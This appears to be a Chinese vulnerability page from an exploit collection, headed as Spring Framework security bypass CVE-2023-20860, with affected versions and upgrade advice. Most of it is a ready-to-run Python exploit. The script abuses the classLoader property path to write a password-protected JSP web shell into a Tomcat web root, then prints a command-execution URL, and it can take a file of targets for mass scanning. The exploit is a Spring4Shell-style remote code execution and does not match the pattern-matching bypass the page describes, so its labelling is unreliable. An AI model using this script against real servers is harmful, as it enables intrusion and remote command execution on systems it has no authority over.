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70 lines
2.5 KiB
Markdown
70 lines
2.5 KiB
Markdown
# Spring Framework 安全绕过漏洞 CVE-2023-20860
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## 漏洞描述
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在带有 mvcRequestMatcher 的 Spring Security 配置中使用无前缀双通配符模式会导致 Spring Security 和 Spring MVC 之间的模式匹配不匹配，并可能导致安全绕过。
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## 漏洞影响
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```
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6.0.0 - 6.0.6、5.3.0 - 5.3.25（注：5.3 之前的版本不受影响）
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```
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## 漏洞复现
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exp
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```
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#!/usr/bin/env python3
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#coding:utf-8
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import requests
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import argparse
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from urllib.parse import urljoin
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def Exploit(url):
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headers = {"suffix":"%>//",
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"c1":"Runtime",
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"c2":"<%",
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"DNT":"1",
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"Content-Type":"application/x-www-form-urlencoded"
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}
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data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
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try:
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go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
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shellurl = urljoin(url, 'tomcatwar.jsp')
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shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
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if shellgo.status_code == 200:
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print(f"漏洞存在，shell地址为:{shellurl}?pwd=j&cmd=whoami")
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except Exception as e:
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print(e)
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pass
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def main():
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parser = argparse.ArgumentParser(description='Srping-Core Rce.')
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parser.add_argument('--file',help='url file',required=False)
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parser.add_argument('--url',help='target url',required=False)
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args = parser.parse_args()
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if args.url:
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Exploit(args.url)
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if args.file:
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with open (args.file) as f:
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for i in f.readlines():
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i = i.strip()
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Exploit(i)
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if __name__ == '__main__':
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main()
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```
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## 漏洞修复
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受影响用户及时更新升级到以下修复版本：
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- Spring Framework >= 6.0.7
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- Spring Framework >= 5.3.26
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下载链接：https://spring.io/projects/spring-framework
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